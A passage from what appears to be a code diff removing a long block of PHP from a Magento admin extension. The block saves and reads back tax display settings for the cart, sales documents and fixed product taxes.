$displayProductArr['status'] = 1;
|
| 4796 |
-
$saleTaxAcion['displayShippingPricesList'][] = $displayProductArr;
|
| 4797 |
-
}
|
| 4798 |
-
else
|
| 4799 |
-
{
|
| 4800 |
-
$displayProductArr['value'] = $value['value'];
|
| 4801 |
-
$displayProductArr['label'] = $value['label'];
|
| 4802 |
-
$displayProductArr['status'] = 0;
|
| 4803 |
-
$saleTaxAcion['displayShippingPricesList'][] = $displayProductArr;
|
| 4804 |
-
}
|
| 4805 |
-
}
|
| 4806 |
-
|
| 4807 |
-
|
| 4808 |
-
|
| 4809 |
-
//Shopping Cart Display Settings
|
| 4810 |
-
|
| 4811 |
-
//Display Prices
|
| 4812 |
-
if(isset($post_data['displayPricesVal']))
|
| 4813 |
-
{
|
| 4814 |
-
if($storeId == 0)
|
| 4815 |
-
{
|
| 4816 |
-
Mage::getConfig()->saveConfig('tax/cart_display/price', $post_data['displayPricesVal'], 'default', $storeId);
|
| 4817 |
-
}
|
| 4818 |
-
else
|
| 4819 |
-
{
|
| 4820 |
-
Mage::getConfig()->saveConfig('tax/cart_display/price', $post_data['displayPricesVal'], 'stores', $storeId);
|
| 4821 |
-
}
|
| 4822 |
-
|
| 4823 |
-
$saleTaxAcion['successMessage'] = "Display Prices Value Saved On ".$storeName." Store.";
|
| 4824 |
-
|
| 4825 |
-
Mage::getConfig()->reinit();
|
| 4826 |
-
Mage::app()->reinitStores();
|
| 4827 |
-
}
|
| 4828 |
-
|
| 4829 |
-
$displayPricesSelectedValue = Mage::getStoreConfig('tax/cart_display/price', $storeId);
|
| 4830 |
-
|
| 4831 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 4832 |
-
foreach ($displayProductPricesArr->toOptionArray() as $value)
|
| 4833 |
-
{
|
| 4834 |
-
if($value['value'] == $displayPricesSelectedValue)
|
| 4835 |
-
{
|
| 4836 |
-
$displayProductArr['value'] = $value['value'];
|
| 4837 |
-
$displayProductArr['label'] = $value['label'];
|
| 4838 |
-
$displayProductArr['status'] = 1;
|
| 4839 |
-
$saleTaxAcion['displayPricesList'][] = $displayProductArr;
|
| 4840 |
-
}
|
| 4841 |
-
else
|
| 4842 |
-
{
|
| 4843 |
-
$displayProductArr['value'] = $value['value'];
|
| 4844 |
-
$displayProductArr['label'] = $value['label'];
|
| 4845 |
-
$displayProductArr['status'] = 0;
|
| 4846 |
-
$saleTaxAcion['displayPricesList'][] = $displayProductArr;
|
| 4847 |
-
}
|
| 4848 |
-
}
|
| 4849 |
-
|
| 4850 |
-
|
| 4851 |
-
//Display Subtotal
|
| 4852 |
-
if(isset($post_data['displaySubtotalVal']))
|
| 4853 |
-
{
|
| 4854 |
-
if($storeId == 0)
|
| 4855 |
-
{
|
| 4856 |
-
Mage::getConfig()->saveConfig('tax/cart_display/subtotal', $post_data['displaySubtotalVal'], 'default', $storeId);
|
| 4857 |
-
}
|
| 4858 |
-
else
|
| 4859 |
-
{
|
| 4860 |
-
Mage::getConfig()->saveConfig('tax/cart_display/subtotal', $post_data['displaySubtotalVal'], 'stores', $storeId);
|
| 4861 |
-
}
|
| 4862 |
-
|
| 4863 |
-
$saleTaxAcion['successMessage'] = "Display Subtotal Value Saved On ".$storeName." Store.";
|
| 4864 |
-
|
| 4865 |
-
Mage::getConfig()->reinit();
|
| 4866 |
-
Mage::app()->reinitStores();
|
| 4867 |
-
}
|
| 4868 |
-
|
| 4869 |
-
$displaySubtotalSelectedValue = Mage::getStoreConfig('tax/cart_display/subtotal', $storeId);
|
| 4870 |
-
|
| 4871 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 4872 |
-
foreach ($displayProductPricesArr->toOptionArray() as $value)
|
| 4873 |
-
{
|
| 4874 |
-
if($value['value'] == $displaySubtotalSelectedValue)
|
| 4875 |
-
{
|
| 4876 |
-
$displayProductArr['value'] = $value['value'];
|
| 4877 |
-
$displayProductArr['label'] = $value['label'];
|
| 4878 |
-
$displayProductArr['status'] = 1;
|
| 4879 |
-
$saleTaxAcion['displaySubtotalList'][] = $displayProductArr;
|
| 4880 |
-
}
|
| 4881 |
-
else
|
| 4882 |
-
{
|
| 4883 |
-
$displayProductArr['value'] = $value['value'];
|
| 4884 |
-
$displayProductArr['label'] = $value['label'];
|
| 4885 |
-
$displayProductArr['status'] = 0;
|
| 4886 |
-
$saleTaxAcion['displaySubtotalList'][] = $displayProductArr;
|
| 4887 |
-
}
|
| 4888 |
-
}
|
| 4889 |
-
|
| 4890 |
-
|
| 4891 |
-
//Display Shipping Amount
|
| 4892 |
-
if(isset($post_data['displayShippingAmountVal']))
|
| 4893 |
-
{
|
| 4894 |
-
if($storeId == 0)
|
| 4895 |
-
{
|
| 4896 |
-
Mage::getConfig()->saveConfig('tax/cart_display/shipping', $post_data['displayShippingAmountVal'], 'default', $storeId);
|
| 4897 |
-
}
|
| 4898 |
-
else
|
| 4899 |
-
{
|
| 4900 |
-
Mage::getConfig()->saveConfig('tax/cart_display/shipping', $post_data['displayShippingAmountVal'], 'stores', $storeId);
|
| 4901 |
-
}
|
| 4902 |
-
|
| 4903 |
-
$saleTaxAcion['successMessage'] = "Display Shipping Amount Value Saved On ".$storeName." Store.";
|
| 4904 |
-
|
| 4905 |
-
Mage::getConfig()->reinit();
|
| 4906 |
-
Mage::app()->reinitStores();
|
| 4907 |
-
}
|
| 4908 |
-
|
| 4909 |
-
$displayShippingAmountSelectedValue = Mage::getStoreConfig('tax/cart_display/shipping', $storeId);
|
| 4910 |
-
|
| 4911 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 4912 |
-
foreach ($displayProductPricesArr->toOptionArray() as $value)
|
| 4913 |
-
{
|
| 4914 |
-
if($value['value'] == $displayShippingAmountSelectedValue)
|
| 4915 |
-
{
|
| 4916 |
-
$displayProductArr['value'] = $value['value'];
|
| 4917 |
-
$displayProductArr['label'] = $value['label'];
|
| 4918 |
-
$displayProductArr['status'] = 1;
|
| 4919 |
-
$saleTaxAcion['displayShippingAmountList'][] = $displayProductArr;
|
| 4920 |
-
}
|
| 4921 |
-
else
|
| 4922 |
-
{
|
| 4923 |
-
$displayProductArr['value'] = $value['value'];
|
| 4924 |
-
$displayProductArr['label'] = $value['label'];
|
| 4925 |
-
$displayProductArr['status'] = 0;
|
| 4926 |
-
$saleTaxAcion['displayShippingAmountList'][] = $displayProductArr;
|
| 4927 |
-
}
|
| 4928 |
-
}
|
| 4929 |
-
|
| 4930 |
-
|
| 4931 |
-
|
| 4932 |
-
//Include Tax In Grand Total
|
| 4933 |
-
if(isset($post_data['includeTaxInVal']))
|
| 4934 |
-
{
|
| 4935 |
-
if($storeId == 0)
|
| 4936 |
-
{
|
| 4937 |
-
Mage::getConfig()->saveConfig('tax/cart_display/grandtotal', $post_data['includeTaxInVal'], 'default', $storeId);
|
| 4938 |
-
}
|
| 4939 |
-
else
|
| 4940 |
-
{
|
| 4941 |
-
Mage::getConfig()->saveConfig('tax/cart_display/grandtotal', $post_data['includeTaxInVal'], 'stores', $storeId);
|
| 4942 |
-
}
|
| 4943 |
-
|
| 4944 |
-
$saleTaxAcion['successMessage'] = "Include Tax In Grand Total Value Saved On ".$storeName." Store.";
|
| 4945 |
-
|
| 4946 |
-
Mage::getConfig()->reinit();
|
| 4947 |
-
Mage::app()->reinitStores();
|
| 4948 |
-
}
|
| 4949 |
-
|
| 4950 |
-
$saleTaxAcion['includeTaxInGrandTotalSelectedValue'] = Mage::getStoreConfig('tax/cart_display/grandtotal', $storeId);
|
| 4951 |
-
|
| 4952 |
-
|
| 4953 |
-
//Display Full Tax Summary
|
| 4954 |
-
if(isset($post_data['displayFullTaxVal']))
|
| 4955 |
-
{
|
| 4956 |
-
if($storeId == 0)
|
| 4957 |
-
{
|
| 4958 |
-
Mage::getConfig()->saveConfig('tax/cart_display/full_summary', $post_data['displayFullTaxVal'], 'default', $storeId);
|
| 4959 |
-
}
|
| 4960 |
-
else
|
| 4961 |
-
{
|
| 4962 |
-
Mage::getConfig()->saveConfig('tax/cart_display/full_summary', $post_data['displayFullTaxVal'], 'stores', $storeId);
|
| 4963 |
-
}
|
| 4964 |
-
|
| 4965 |
-
$saleTaxAcion['successMessage'] = "Display Full Tax Summary Value Saved On ".$storeName." Store.";
|
| 4966 |
-
|
| 4967 |
-
Mage::getConfig()->reinit();
|
| 4968 |
-
Mage::app()->reinitStores();
|
| 4969 |
-
}
|
| 4970 |
-
|
| 4971 |
-
$saleTaxAcion['displayFullTaxSummarySelectedValue'] = Mage::getStoreConfig('tax/cart_display/full_summary', $storeId);
|
| 4972 |
-
|
| 4973 |
-
|
| 4974 |
-
//Display Zero Tax Subtotal
|
| 4975 |
-
if(isset($post_data['displayZeroTaxVal']))
|
| 4976 |
-
{
|
| 4977 |
-
if($storeId == 0)
|
| 4978 |
-
{
|
| 4979 |
-
Mage::getConfig()->saveConfig('tax/cart_display/zero_tax', $post_data['displayZeroTaxVal'], 'default', $storeId);
|
| 4980 |
-
}
|
| 4981 |
-
else
|
| 4982 |
-
{
|
| 4983 |
-
Mage::getConfig()->saveConfig('tax/cart_display/zero_tax', $post_data['displayZeroTaxVal'], 'stores', $storeId);
|
| 4984 |
-
}
|
| 4985 |
-
|
| 4986 |
-
$saleTaxAcion['successMessage'] = "Display Zero Tax Subtotal Value Saved On ".$storeName." Store.";
|
| 4987 |
-
|
| 4988 |
-
Mage::getConfig()->reinit();
|
| 4989 |
-
Mage::app()->reinitStores();
|
| 4990 |
-
}
|
| 4991 |
-
|
| 4992 |
-
$saleTaxAcion['displayZeroTaxSelectedValue'] = Mage::getStoreConfig('tax/cart_display/zero_tax', $storeId);
|
| 4993 |
-
|
| 4994 |
-
|
| 4995 |
-
|
| 4996 |
-
//Orders, Invoices, Credit Memos Display Settings
|
| 4997 |
-
|
| 4998 |
-
//Display Prices
|
| 4999 |
-
if(isset($post_data['displayPricesAllVal']))
|
| 5000 |
-
{
|
| 5001 |
-
if($storeId == 0)
|
| 5002 |
-
{
|
| 5003 |
-
Mage::getConfig()->saveConfig('tax/sales_display/price', $post_data['displayPricesAllVal'], 'default', $storeId);
|
| 5004 |
-
}
|
| 5005 |
-
else
|
| 5006 |
-
{
|
| 5007 |
-
Mage::getConfig()->saveConfig('tax/sales_display/price', $post_data['displayPricesAllVal'], 'stores', $storeId);
|
| 5008 |
-
}
|
| 5009 |
-
|
| 5010 |
-
$saleTaxAcion['successMessage'] = "Display Prices Value Saved On ".$storeName." Store.";
|
| 5011 |
-
|
| 5012 |
-
Mage::getConfig()->reinit();
|
| 5013 |
-
Mage::app()->reinitStores();
|
| 5014 |
-
}
|
| 5015 |
-
|
| 5016 |
-
$displayPricesAllSelectedValue = Mage::getStoreConfig('tax/sales_display/price', $storeId);
|
| 5017 |
-
|
| 5018 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 5019 |
-
foreach ($displayProductPricesArr->toOptionArray() as $value)
|
| 5020 |
-
{
|
| 5021 |
-
if($value['value'] == $displayPricesAllSelectedValue)
|
| 5022 |
-
{
|
| 5023 |
-
$displayProductArr['value'] = $value['value'];
|
| 5024 |
-
$displayProductArr['label'] = $value['label'];
|
| 5025 |
-
$displayProductArr['status'] = 1;
|
| 5026 |
-
$saleTaxAcion['displayPricesAllList'][] = $displayProductArr;
|
| 5027 |
-
}
|
| 5028 |
-
else
|
| 5029 |
-
{
|
| 5030 |
-
$displayProductArr['value'] = $value['value'];
|
| 5031 |
-
$displayProductArr['label'] = $value['label'];
|
| 5032 |
-
$displayProductArr['status'] = 0;
|
| 5033 |
-
$saleTaxAcion['displayPricesAllList'][] = $displayProductArr;
|
| 5034 |
-
}
|
| 5035 |
-
}
|
| 5036 |
-
|
| 5037 |
-
|
| 5038 |
-
//Display Subtotal
|
| 5039 |
-
if(isset($post_data['displaySubtotalAllVal']))
|
| 5040 |
-
{
|
| 5041 |
-
if($storeId == 0)
|
| 5042 |
-
{
|
| 5043 |
-
Mage::getConfig()->saveConfig('tax/sales_display/subtotal', $post_data['displaySubtotalAllVal'], 'default', $storeId);
|
| 5044 |
-
}
|
| 5045 |
-
else
|
| 5046 |
-
{
|
| 5047 |
-
Mage::getConfig()->saveConfig('tax/sales_display/subtotal', $post_data['displaySubtotalAllVal'], 'stores', $storeId);
|
| 5048 |
-
}
|
| 5049 |
-
|
| 5050 |
-
$saleTaxAcion['successMessage'] = "Display Subtotal Value Saved On ".$storeName." Store.";
|
| 5051 |
-
|
| 5052 |
-
Mage::getConfig()->reinit();
|
| 5053 |
-
Mage::app()->reinitStores();
|
| 5054 |
-
}
|
| 5055 |
-
|
| 5056 |
-
$displaySubtotalAllSelectedValue = Mage::getStoreConfig('tax/sales_display/subtotal', $storeId);
|
| 5057 |
-
|
| 5058 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 5059 |
-
foreach ($displayProductPricesArr->toOptionArray() as $value)
|
| 5060 |
-
{
|
| 5061 |
-
if($value['value'] == $displaySubtotalAllSelectedValue)
|
| 5062 |
-
{
|
| 5063 |
-
$displayProductArr['value'] = $value['value'];
|
| 5064 |
-
$displayProductArr['label'] = $value['label'];
|
| 5065 |
-
$displayProductArr['status'] = 1;
|
| 5066 |
-
$saleTaxAcion['displaySubtotalAllList'][] = $displayProductArr;
|
| 5067 |
-
}
|
| 5068 |
-
else
|
| 5069 |
-
{
|
| 5070 |
-
$displayProductArr['value'] = $value['value'];
|
| 5071 |
-
$displayProductArr['label'] = $value['label'];
|
| 5072 |
-
$displayProductArr['status'] = 0;
|
| 5073 |
-
$saleTaxAcion['displaySubtotalAllList'][] = $displayProductArr;
|
| 5074 |
-
}
|
| 5075 |
-
}
|
| 5076 |
-
|
| 5077 |
-
|
| 5078 |
-
//Display Shipping Amount
|
| 5079 |
-
if(isset($post_data['displayShippingAmountAllVal']))
|
| 5080 |
-
{
|
| 5081 |
-
if($storeId == 0)
|
| 5082 |
-
{
|
| 5083 |
-
Mage::getConfig()->saveConfig('tax/sales_display/shipping', $post_data['displayShippingAmountAllVal'], 'default', $storeId);
|
| 5084 |
-
}
|
| 5085 |
-
else
|
| 5086 |
-
{
|
| 5087 |
-
Mage::getConfig()->saveConfig('tax/sales_display/shipping', $post_data['displayShippingAmountAllVal'], 'stores', $storeId);
|
| 5088 |
-
}
|
| 5089 |
-
|
| 5090 |
-
$saleTaxAcion['successMessage'] = "Display Shipping Amount Value Saved On ".$storeName." Store.";
|
| 5091 |
-
|
| 5092 |
-
Mage::getConfig()->reinit();
|
| 5093 |
-
Mage::app()->reinitStores();
|
| 5094 |
-
}
|
| 5095 |
-
|
| 5096 |
-
$displayShippingAmountAllSelectedValue = Mage::getStoreConfig('tax/sales_display/shipping', $storeId);
|
| 5097 |
-
|
| 5098 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 5099 |
-
foreach ($displayProductPricesArr->toOptionArray() as $value)
|
| 5100 |
-
{
|
| 5101 |
-
if($value['value'] == $displayShippingAmountAllSelectedValue)
|
| 5102 |
-
{
|
| 5103 |
-
$displayProductArr['value'] = $value['value'];
|
| 5104 |
-
$displayProductArr['label'] = $value['label'];
|
| 5105 |
-
$displayProductArr['status'] = 1;
|
| 5106 |
-
$saleTaxAcion['displayShippingAmountAllList'][] = $displayProductArr;
|
| 5107 |
-
}
|
| 5108 |
-
else
|
| 5109 |
-
{
|
| 5110 |
-
$displayProductArr['value'] = $value['value'];
|
| 5111 |
-
$displayProductArr['label'] = $value['label'];
|
| 5112 |
-
$displayProductArr['status'] = 0;
|
| 5113 |
-
$saleTaxAcion['displayShippingAmountAllList'][] = $displayProductArr;
|
| 5114 |
-
}
|
| 5115 |
-
}
|
| 5116 |
-
|
| 5117 |
-
|
| 5118 |
-
|
| 5119 |
-
//Include Tax In Grand Total
|
| 5120 |
-
if(isset($post_data['includeTaxInAllVal']))
|
| 5121 |
-
{
|
| 5122 |
-
if($storeId == 0)
|
| 5123 |
-
{
|
| 5124 |
-
Mage::getConfig()->saveConfig('tax/sales_display/grandtotal', $post_data['includeTaxInAllVal'], 'default', $storeId);
|
| 5125 |
-
}
|
| 5126 |
-
else
|
| 5127 |
-
{
|
| 5128 |
-
Mage::getConfig()->saveConfig('tax/sales_display/grandtotal', $post_data['includeTaxInAllVal'], 'stores', $storeId);
|
| 5129 |
-
}
|
| 5130 |
-
|
| 5131 |
-
$saleTaxAcion['successMessage'] = "Include Tax In Grand Total Value Saved On ".$storeName." Store.";
|
| 5132 |
-
|
| 5133 |
-
Mage::getConfig()->reinit();
|
| 5134 |
-
Mage::app()->reinitStores();
|
| 5135 |
-
}
|
| 5136 |
-
|
| 5137 |
-
$saleTaxAcion['includeTaxInGrandTotalAllSelectedValue'] = Mage::getStoreConfig('tax/sales_display/grandtotal', $storeId);
|
| 5138 |
-
|
| 5139 |
-
|
| 5140 |
-
//Display Full Tax Summary
|
| 5141 |
-
if(isset($post_data['displayFullTaxAllVal']))
|
| 5142 |
-
{
|
| 5143 |
-
if($storeId == 0)
|
| 5144 |
-
{
|
| 5145 |
-
Mage::getConfig()->saveConfig('tax/sales_display/full_summary', $post_data['displayFullTaxAllVal'], 'default', $storeId);
|
| 5146 |
-
}
|
| 5147 |
-
else
|
| 5148 |
-
{
|
| 5149 |
-
Mage::getConfig()->saveConfig('tax/sales_display/full_summary', $post_data['displayFullTaxAllVal'], 'stores', $storeId);
|
| 5150 |
-
}
|
| 5151 |
-
|
| 5152 |
-
$saleTaxAcion['successMessage'] = "Display Full Tax Summary Value Saved On ".$storeName." Store.";
|
| 5153 |
-
|
| 5154 |
-
Mage::getConfig()->reinit();
|
| 5155 |
-
Mage::app()->reinitStores();
|
| 5156 |
-
}
|
| 5157 |
-
|
| 5158 |
-
$saleTaxAcion['displayFullTaxSummaryAllSelectedValue'] = Mage::getStoreConfig('tax/sales_display/full_summary', $storeId);
|
| 5159 |
-
|
| 5160 |
-
|
| 5161 |
-
//Display Zero Tax Subtotal
|
| 5162 |
-
if(isset($post_data['displayZeroTaxAllVal']))
|
| 5163 |
-
{
|
| 5164 |
-
if($storeId == 0)
|
| 5165 |
-
{
|
| 5166 |
-
Mage::getConfig()->saveConfig('tax/sales_display/zero_tax', $post_data['displayZeroTaxAllVal'], 'default', $storeId);
|
| 5167 |
-
}
|
| 5168 |
-
else
|
| 5169 |
-
{
|
| 5170 |
-
Mage::getConfig()->saveConfig('tax/sales_display/zero_tax', $post_data['displayZeroTaxAllVal'], 'stores', $storeId);
|
| 5171 |
-
}
|
| 5172 |
-
|
| 5173 |
-
$saleTaxAcion['successMessage'] = "Display Zero Tax Subtotal Value Saved On ".$storeName." Store.";
|
| 5174 |
-
|
| 5175 |
-
Mage::getConfig()->reinit();
|
| 5176 |
-
Mage::app()->reinitStores();
|
| 5177 |
-
}
|
| 5178 |
-
|
| 5179 |
-
$saleTaxAcion['displayZeroTaxAllSelectedValue'] = Mage::getStoreConfig('tax/sales_display/zero_tax', $storeId);
|
| 5180 |
-
|
| 5181 |
-
|
| 5182 |
-
|
| 5183 |
-
|
| 5184 |
-
//Fixed Product Taxes
|
| 5185 |
-
|
| 5186 |
-
$fptModelList = new Mage_Weee_Model_Config_Source_Display();
|
| 5187 |
-
|
| 5188 |
-
//Enable FPT
|
| 5189 |
-
if(isset($post_data['enableFptVal']))
|
| 5190 |
-
{
|
| 5191 |
-
Mage::getConfig()->saveConfig('tax/weee/enable', $post_data['enableFptVal'], 'default', 0);
|
| 5192 |
-
|
| 5193 |
-
$saleTaxAcion['successMessage'] = "Enable FPT Value Saved On ".$storeName." Store.";
|
| 5194 |
-
|
| 5195 |
-
Mage::getConfig()->reinit();
|
| 5196 |
-
Mage::app()->reinitStores();
|
| 5197 |
-
}
|
| 5198 |
-
$saleTaxAcion['enableFptSelectedValue'] = Mage::getStoreConfig('tax/weee/enable');
|
| 5199 |
-
|
| 5200 |
-
|
| 5201 |
-
|
| 5202 |
-
//Display Prices In Product Lists
|
| 5203 |
-
if(isset($post_data['displayPriceInProductVal']))
|
| 5204 |
-
{
|
| 5205 |
-
Mage::getConfig()->saveConfig('tax/weee/display_list', $post_data['displayPriceInProductVal'], 'default', 0);
|
| 5206 |
-
|
| 5207 |
-
$saleTaxAcion['successMessage'] = "Display Prices In Product Lists Value Saved On ".$storeName." Store.";
|
| 5208 |
-
|
| 5209 |
-
Mage::getConfig()->reinit();
|
| 5210 |
-
Mage::app()->reinitStores();
|
| 5211 |
-
}
|
| 5212 |
-
|
| 5213 |
-
$displayPriceInProductSelectedValue = Mage::getStoreConfig('tax/weee/display_list');
|
| 5214 |
-
|
| 5215 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 5216 |
-
foreach ($fptModelList->toOptionArray() as $value)
|
| 5217 |
-
{
|
| 5218 |
-
if($value['value'] == $displayPriceInProductSelectedValue)
|
| 5219 |
-
{
|
| 5220 |
-
$displayProductArr['value'] = $value['value'];
|
| 5221 |
-
$displayProductArr['label'] = $value['label'];
|
| 5222 |
-
$displayProductArr['status'] = 1;
|
| 5223 |
-
$saleTaxAcion['displayPricesInProductList'][] = $displayProductArr;
|
| 5224 |
-
}
|
| 5225 |
-
else
|
| 5226 |
-
{
|
| 5227 |
-
$displayProductArr['value'] = $value['value'];
|
| 5228 |
-
$displayProductArr['label'] = $value['label'];
|
| 5229 |
-
$displayProductArr['status'] = 0;
|
| 5230 |
-
$saleTaxAcion['displayPricesInProductList'][] = $displayProductArr;
|
| 5231 |
-
}
|
| 5232 |
-
}
|
| 5233 |
-
|
| 5234 |
-
|
| 5235 |
-
|
| 5236 |
-
//Display Prices On Product View Page
|
| 5237 |
-
if(isset($post_data['displayPriceInProductViewVal']))
|
| 5238 |
-
{
|
| 5239 |
-
Mage::getConfig()->saveConfig('tax/weee/display', $post_data['displayPriceInProductViewVal'], 'default', 0);
|
| 5240 |
-
|
| 5241 |
-
$saleTaxAcion['successMessage'] = "Display Prices On Product View Page Value Saved On ".$storeName." Store.";
|
| 5242 |
-
|
| 5243 |
-
Mage::getConfig()->reinit();
|
| 5244 |
-
Mage::app()->reinitStores();
|
| 5245 |
-
}
|
| 5246 |
-
|
| 5247 |
-
$displayPriceInProductViewSelectedValue = Mage::getStoreConfig('tax/weee/display');
|
| 5248 |
-
|
| 5249 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 5250 |
-
foreach ($fptModelList->toOptionArray() as $value)
|
| 5251 |
-
{
|
| 5252 |
-
if($value['value'] == $displayPriceInProductViewSelectedValue)
|
| 5253 |
-
{
|
| 5254 |
-
$displayProductArr['value'] = $value['value'];
|
| 5255 |
-
$displayProductArr['label'] = $value['label'];
|
| 5256 |
-
$displayProductArr['status'] = 1;
|
| 5257 |
-
$saleTaxAcion['displayPricesInProductViewList'][] = $displayProductArr;
|
| 5258 |
-
}
|
| 5259 |
-
else
|
| 5260 |
-
{
|
| 5261 |
-
$displayProductArr['value'] = $value['value'];
|
| 5262 |
-
$displayProductArr['label'] = $value['label'];
|
| 5263 |
-
$displayProductArr['status'] = 0;
|
| 5264 |
-
$saleTaxAcion['displayPricesInProductViewList'][] = $displayProductArr;
|
| 5265 |
-
}
|
| 5266 |
-
}
|
| 5267 |
-
|
| 5268 |
-
|
| 5269 |
-
|
| 5270 |
-
//Display Prices In Sales Modules
|
| 5271 |
-
if(isset($post_data['displayPriceInSalesViewVal']))
|
| 5272 |
-
{
|
| 5273 |
-
Mage::getConfig()->saveConfig('tax/weee/display_sales', $post_data['displayPriceInSalesViewVal'], 'default', 0);
|
| 5274 |
-
|
| 5275 |
-
$saleTaxAcion['successMessage'] = "Display Prices In Sales Modules Value Saved On ".$storeName." Store.";
|
| 5276 |
-
|
| 5277 |
-
Mage::getConfig()->reinit();
|
| 5278 |
-
Mage::app()->reinitStores();
|
| 5279 |
-
}
|
| 5280 |
-
|
| 5281 |
-
$displayPriceInProductSalesSelectedValue = Mage::getStoreConfig('tax/weee/display_sales');
|
| 5282 |
-
|
| 5283 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 5284 |
-
foreach ($fptModelList->toOptionArray() as $value)
|
| 5285 |
-
{
|
| 5286 |
-
if($value['value'] == $displayPriceInProductSalesSelectedValue)
|
| 5287 |
-
{
|
| 5288 |
-
$displayProductArr['value'] = $value['value'];
|
| 5289 |
-
$displayProductArr['label'] = $value['label'];
|
| 5290 |
-
$displayProductArr['status'] = 1;
|
| 5291 |
-
$saleTaxAcion['displayPricesInProductSalesModuleList'][] = $displayProductArr;
|
| 5292 |
-
}
|
| 5293 |
-
else
|
| 5294 |
-
{
|
| 5295 |
-
$displayProductArr['value'] = $value['value'];
|
| 5296 |
-
$displayProductArr['label'] = $value['label'];
|
| 5297 |
-
$displayProductArr['status'] = 0;
|
| 5298 |
-
$saleTaxAcion['displayPricesInProductSalesModuleList'][] = $displayProductArr;
|
| 5299 |
-
}
|
| 5300 |
-
}
|
| 5301 |
-
|
| 5302 |
-
|
| 5303 |
-
|
| 5304 |
-
//Display Prices In Emails
|
| 5305 |
-
if(isset($post_data['displayPriceInSalesEmailVal']))
|
| 5306 |
-
{
|
| 5307 |
-
Mage::getConfig()->saveConfig('tax/weee/display_email', $post_data['displayPriceInSalesEmailVal'], 'default', 0);
|
| 5308 |
-
|
| 5309 |
-
$saleTaxAcion['successMessage'] = "Display Prices In Emails Value Saved On ".$storeName." Store.";
|
| 5310 |
-
|
| 5311 |
-
Mage::getConfig()->reinit();
|
| 5312 |
-
Mage::app()->reinitStores();
|
| 5313 |
-
}
|
| 5314 |
-
|
| 5315 |
-
$displayPriceInProductSalesEmailSelectedValue = Mage::getStoreConfig('tax/weee/display_email');
|
| 5316 |
-
|
| 5317 |
-
//$displayProductPricesArr = new Mage_Tax_Model_System_Config_Source_Tax_Display_Type();
|
| 5318 |
-
foreach ($fptModelList->toOptionArray() as $value)
|
| 5319 |
-
{
|
| 5320 |
-
if($value['value'] == $displayPriceInProductSalesEmailSelectedValue)
|
| 5321 |
-
{
|
| 5322 |
-
$displayProductArr['value'] = $value['value'];
|
| 5323 |
-
$displayProductArr['label'] = $value['label'];
|
| 5324 |
-
$displayProductArr['status'] = 1;
|
| 5325 |
-
$saleTaxAcion['displayPricesInProductSalesEmailList'][] = $displayProductArr;
|
| 5326 |
-
}
|
| 5327 |
-
else
|
| 5328 |
-
{
|
| 5329 |
-
$displayProductArr['value'] = $value['value'];
|
| 5330 |
-
$displayProductArr['label'] = $value['label'];
|
| 5331 |
-
$displayProductArr['status'] = 0;
|
| 5332 |
-
$saleTaxAcion['displayPricesInProductSalesEmailList'][] = $displayProductArr;
|
| 5333 |
-
}
|
| 5334 |
-
}
|
| 5335 |
-
|
| 5336 |
-
|
| 5337 |
-
//Apply Discounts To FPT
|
| 5338 |
-
if(isset($post_data['applyDisocuntVal']))
|
| 5339 |
-
{
|
| 5340 |
-
Mage::getConfig()->saveConfig('tax/weee/discount', $post_data['applyDisocuntVal'], 'default', 0);
|
| 5341 |
-
|
| 5342 |
-
$saleTaxAcion['successMessage'] = "Apply Discounts To FPT Value Saved On ".$storeName." Store.";
|
| 5343 |
-
|
| 5344 |
-
Mage::getConfig()->reinit();
|
| 5345 |
-
Mage::app()->reinitStores();
|
| 5346 |
-
}
|
| 5347 |
-
$saleTaxAcion['applyDiscountSelectedValue'] = Mage::getStoreConfig('tax/weee/discount');
|
| 5348 |
-
|
| 5349 |
-
|
| 5350 |
-
|
| 5351 |
-
//FPT Tax Configuration
|
| 5352 |
-
if(isset($post_data['taxConfigVal']))
|
| 5353 |
-
{
|
| 5354 |
-
Mage::getConfig()->saveConfig('tax/weee/apply_vat', $post_data['taxConfigVal'], 'default', 0);
|
| 5355 |
-
|
| 5356 |
-
$saleTaxAcion['successMessage'] = "FPT Tax Configuration Saved On ".$storeName." Store.";
|
| 5357 |
-
|
| 5358 |
-
Mage::getConfig()->reinit();
|
| 5359 |
-
Mage::app()->reinitStores();
|
| 5360 |
-
}
|
| 5361 |
-
|
| 5362 |
-
$taxConfigurationSelectedValue = Mage::getStoreConfig('tax/weee/apply_vat');
|
| 5363 |
-
|
| 5364 |
-
$taxConfigArr = new Mage_Weee_Model_Config_Source_Fpt_Tax();
|
| 5365 |
-
foreach ($taxConfigArr->toOptionArray() as $value)
|
| 5366 |
-
{
|
| 5367 |
-
if($value['value'] == $taxConfigurationSelectedValue)
|
| 5368 |
-
{
|
| 5369 |
-
$displayProductArr['value'] = $value['value'];
|
| 5370 |
-
$displayProductArr['label'] = $value['label'];
|
| 5371 |
-
$displayProductArr['status'] = 1;
|
| 5372 |
-
$saleTaxAcion['fptTaxConfigurationList'][] = $displayProductArr;
|
| 5373 |
-
}
|
| 5374 |
-
else
|
| 5375 |
-
{
|
| 5376 |
-
$displayProductArr['value'] = $value['value'];
|
| 5377 |
-
$displayProductArr['label'] = $value['label'];
|
| 5378 |
-
$displayProductArr['status'] = 0;
|
| 5379 |
-
$saleTaxAcion['fptTaxConfigurationList'][] = $displayProductArr;
|
| 5380 |
-
}
|
| 5381 |
-
}
|
| 5382 |
-
|
| 5383 |
-
|
| 5384 |
-
|
| 5385 |
-
//Include FPT In Subtotal
|
| 5386 |
-
if(isset($post_data['includeFptSubtotalVal']))
|
| 5387 |
-
{
|
| 5388 |
-
Mage::getConfig()->saveConfig('tax/weee/include_in_subtotal', $post_data['includeFptSubtotalVal'], 'default', 0);
|
| 5389 |
-
|
| 5390 |
-
